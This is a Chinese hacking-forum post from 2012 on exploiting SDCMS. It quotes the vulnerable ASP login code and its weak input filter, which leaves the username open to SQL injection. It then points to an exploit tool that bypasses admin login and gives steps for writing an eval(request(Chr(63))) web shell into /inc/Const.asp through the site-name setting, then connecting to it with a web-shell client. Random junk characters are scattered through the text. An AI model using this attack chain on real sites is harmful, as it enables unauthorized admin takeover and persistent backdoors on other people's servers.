找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3200|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
1 ?* p0 j' G$ b% l- f漏洞文件:后台目录/index.asp/ N0 M# I: N- ]# E; G, p. Z: p5 @

- d& [$ O5 B: H$ i/ B4 fSub Check) Q' T+ G5 R! h6 z
    Dim username,password,code,getcode,Rs
" I- [: F6 E: u' q% [7 j, _. H    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub3 b1 {8 a7 {( a$ `! T- t9 U
    username=FilterText(Trim(Request.Form("username")),1)
: M* d$ Q# m! ^    password=FilterText(Trim(Request.Form("password")),1)' o7 d7 I2 Y; X1 I, }; \! m
    code=Trim(Request.Form("yzm"))
( i: M7 N. G" h+ l    getcode=Session("SDCMSCode")* a# B% N- n0 z6 J) }* r0 |4 i
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
  p% v9 x' Y0 Q1 U/ X% q1 }    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
% t  d5 r$ s* w. {( `* s    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied$ ^0 E5 Y+ E" P/ t! d
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied" n2 }, C5 r5 B. X8 q9 b
    IF username="" or password="" Then
: \; \2 J1 G( w' Q4 t* s        Echo "用户名或密码不能为空"ied  h0 i6 A4 L5 [/ l1 W
    Else! S; S6 z; E; R$ r
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")" H  M, G/ C2 s# g( ]0 F1 m
        IF Rs.Eof Then
* U  ^' h) H. t$ `8 j' ]! g: t4 D            AddLog username,GetIp,"登录失败",1# M. p# B! H5 h- a; r
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"# p# y4 u2 E* K4 R& {
        Else
4 ]- L, q! o9 r            Add_Cookies "sdcms_id",Rs(0)
) A7 A+ d7 d& g            Add_Cookies "sdcms_name",username
# ?* }6 o+ W7 L! k* D0 O0 S            Add_Cookies "sdcms_pwd",Rs(2)5 D3 ^9 |8 u7 m/ l& ~3 w
            Add_Cookies "sdcms_admin",Rs(3)
8 s; o, M( |* W  N. T            Add_Cookies "sdcms_alllever",Rs(4)
2 m1 ~/ d/ j! U) Z: `1 Z            Add_Cookies "sdcms_infolever",Rs(5)# v+ n6 w: b7 l
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
/ z" {. h. O. X! Y4 S            AddLog username,GetIp,"登录成功",1
+ f! ^6 ]) ?" S0 r4 j            '自动删除30天前的Log记录6 V8 a8 q6 ?0 P5 n. g' ~! Q" o; E" o
            IF Sdcms_DataType Then
7 U% f& R) a. |" C: s                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")- v" g" E1 |: V! h! @
            Else, @4 b  z9 X5 U- C" C# d
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
# o& p' }1 ?7 g5 }+ x, a            End IF3 ~0 _2 t: b0 M8 ^9 f$ A: a
            Go("sdcms_index.asp")
9 A9 e( l( r' {6 a- w" o0 R8 I5 W        End IF) h- Y6 P3 H. j; o9 b: j& Z
        Rs.Close
- u8 G9 t9 h+ g, {        Set Rs=Nothing
3 Z: `) G/ R% c* L& N    End IF" B  t- k6 M; O' _. z
End Sub
1 H: D6 I, g  l  }5 f5 R( ^3 @0 o2 s. g5 C1 S  C$ c  L
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码/ [6 h/ j9 }  L" A2 f' i; q  V! f' E
$ d  V/ ]" J% \2 J! T) c
Function FilterText(ByVal t0,ByVal t1)% w7 `9 n$ S3 h# L6 m
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
+ j% D  ?" I9 T. ]  f3 `) c    t0=Trim(t0)
9 \2 _& ]: a4 i( Q( r    Select Case t1
/ J3 o4 V: m) e8 @. P1 @! z% f        Case "1"
% r8 A7 c- |$ v9 E* \            t0=Replace(t0,Chr(32),"")
5 e5 h+ c' z/ t            t0=Replace(t0,Chr(13),"")
  v, x5 \4 l- \- m$ |! k            t0=Replace(t0,Chr(10)&Chr(10),"")
4 R9 o( X. _! |" a! z3 i            t0=Replace(t0,Chr(10),"")
( U% `0 W7 S) z1 V6 k" W5 m( V        Case "2"# p3 s8 \: z& p# K, _  y
            t0=Replace(t0,Chr(8),"")'回格5 w8 a" n/ N1 E8 S! [6 M
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)" t( }0 H) l4 L4 r7 Y
            t0=Replace(t0,Chr(10),"")'换行
% G' }' H9 k" y9 D& M+ |+ ?            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)0 X5 U0 c% y4 f
            t0=Replace(t0,Chr(12),"")'换页* S2 a" O9 B$ k
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* r* L, Z) e$ o( u8 }# c            t0=Replace(t0,Chr(22),"")% R( `9 p- L: ~7 d3 T  }- E2 G
            t0=Replace(t0,Chr(32),"")'空格 SPACE
6 h. @+ ?5 i7 _/ N7 _2 X            t0=Replace(t0,Chr(33),"")'!7 D" K/ K7 t- h! q2 K) P* ?
            t0=Replace(t0,Chr(34),"")'"
1 ?1 g' b; E5 l& ^, X7 s            t0=Replace(t0,Chr(35),"")'#- g7 u8 l7 V; u- e" v  v7 Q
            t0=Replace(t0,Chr(36),"")'$# x. m) E2 H: P; G# W1 @
            t0=Replace(t0,Chr(37),"")'%
' w7 i" M3 Z+ ]0 e            t0=Replace(t0,Chr(38),"")'&2 W+ M6 _) [* L% l/ C3 p
            t0=Replace(t0,Chr(39),"")''
/ [$ [8 a) Q1 M" u9 b8 d: f, a            t0=Replace(t0,Chr(40),"")'(
5 s# U& Y$ [1 }1 p& f            t0=Replace(t0,Chr(41),"")')) y9 u% a( n7 h* l8 v' {- X
            t0=Replace(t0,Chr(42),"")'*
# S5 x; g- C" O. m8 `! O            t0=Replace(t0,Chr(43),"")'+
1 F+ f4 U2 t3 }( u- N# w            t0=Replace(t0,Chr(44),"")',+ E$ g/ k! E2 Q
            t0=Replace(t0,Chr(45),"")'-$ O: j6 u% w: L& H. B1 a
            t0=Replace(t0,Chr(46),"")'.
: A# G( C& K  F. @- L+ ?            t0=Replace(t0,Chr(47),"")'/1 P3 r- W: D4 L$ N. ]1 ^3 S
            t0=Replace(t0,Chr(58),"")':8 p* H* L& O8 M7 N( q* w6 v8 q5 y
            t0=Replace(t0,Chr(59),"")';& s: R0 T8 z# V2 F
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>3 A% i% }' f; d
            t0=Replace(t0,Chr(63),"")'?( W, D8 q( J# B/ E2 `. @3 f3 j
            t0=Replace(t0,Chr(64),"")'@, l3 C2 O5 y4 I& C7 S6 ?
            t0=Replace(t0,Chr(91),"")'\  x: A1 X* {% S* f. g! u% n
            t0=Replace(t0,Chr(92),"")'\% p6 ?7 s% N! Z8 `0 k7 h/ k3 s) B. B  l/ g
            t0=Replace(t0,Chr(93),"")']
  `1 Q6 y: i0 I0 @            t0=Replace(t0,Chr(94),"")'^
  I7 l; k/ _& J+ Z  D            t0=Replace(t0,Chr(95),"")'_
3 B& L0 k, @" L$ p" @. D            t0=Replace(t0,Chr(96),"")'`
; c2 V5 H4 I7 q$ J4 K            t0=Replace(t0,Chr(123),"")'{) K% K; ^* }4 L7 ?5 W, c# R7 W. u) g$ x
            t0=Replace(t0,Chr(124),"")'|$ |2 n# H$ w& G- D3 M. b# _
            t0=Replace(t0,Chr(125),"")'}
5 u4 f) V1 E5 O& T' Q3 P3 h            t0=Replace(t0,Chr(126),"")'~9 p/ Y. ]' C, Q' ~" Y" ]: G$ X0 J
    Case Else% f& X5 J) Y1 G+ {3 x& U+ i, {$ V% c
        t0=Replace(t0, "&", "&")
/ |" `  A) h3 ^        t0=Replace(t0, "'", "'")' P, M6 p) c2 n  O. d" N$ a
        t0=Replace(t0, """", """)
$ K$ H; i) J8 ?; o4 O6 l6 P        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
3 o: V) F& s: Y  @# d, x! k( r7 m- w    End Select
& ~/ x' j2 l0 Z0 D$ z0 S    IF Instr(Lcase(t0),"expression")>0 Then0 S2 N1 d3 f- P  l: z' y' u" l& L
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
% M2 P# h* [4 \# D9 d* N, ~$ |    End If
# C) F, J8 |' z  M1 J9 m$ {    FilterText=t0
) u& V4 [- l% o+ W; k5 O& ]End Function
4 B/ h( z9 m9 q) p6 b% X- o# c) G6 s6 Y5 J" d
看到没。直接参数是1 只过滤. |% r' F2 a5 B
                        t0=Replace(t0,Chr(32)," ")! p" K+ ?9 K) T4 n5 n4 E8 u4 \
                        t0=Replace(t0,Chr(13),"")7 M( @2 m7 k- Z* e/ y, M: ?# z
                        t0=Replace(t0,Chr(10)&Chr(10),"
# ?* o$ x( T! P5 G  V"): n+ Z; b2 u0 |. k/ y" f+ o2 E
                        t0=Replace(t0,Chr(10),"
( o% w/ H! U9 R; ~. z")
& b1 ~0 T) s" E漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
/ Z$ ^: }7 g8 V3 b1 b% l4 cEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
3 ?( i7 S3 b! U( u
3 R' _4 B3 Y) u2 A测试:
4 D9 B! u0 N- [, y/ g- F5 B' S" L7 a& t( Y7 c2 s7 {" ^
5 @$ ]  w9 @! G5 }# x
现在输入工具上验证码,然后点OK
/ m) T, x6 s" K, m9 q$ x, b( c; S( ^: b/ r6 n  j
' j0 Q. f1 Z1 e5 y8 q
看到我们直接进入后台管理界面了,呵呵!
8 f: l6 E. h0 ^; v: A: k' Z7 M) z7 e. y- o0 u

9 s* b: F' P0 k& q; i* v0 T( |* W; F1 j% c# O" A: l7 S
这样直接进入后台了。。。。; H8 ~% w4 l% n1 F# L0 b$ r" N5 `0 {
8 g+ r* A2 b$ g, o1 k& C7 l4 @: j
+ S  _$ d* f4 c5 L. o  C4 M
1 R& \, ]$ S1 P
SDCMS提权:4 F7 v( R8 @! Q

! C0 ^- H- I0 a) {: B6 z5 R) t8 `方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
9 c- |3 L; S: c8 p6 W9 e4 k1 E; F: J% T2 L  v7 {# S
9 e, q% l2 B" Q$ E
8 @  H5 w; [3 ^
OK,现在用菜刀连接下!
/ h0 j; `. e) S& q! H" r- L" z1 E5 o$ ~* S

, [2 _8 h5 O1 m6 L4 h3 c. }4 Q
0 n7 l- i/ e$ p6 k* ] 2 M& y! Q3 S8 {* j6 `, P5 T% p

, U- C: Q# |: r: m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表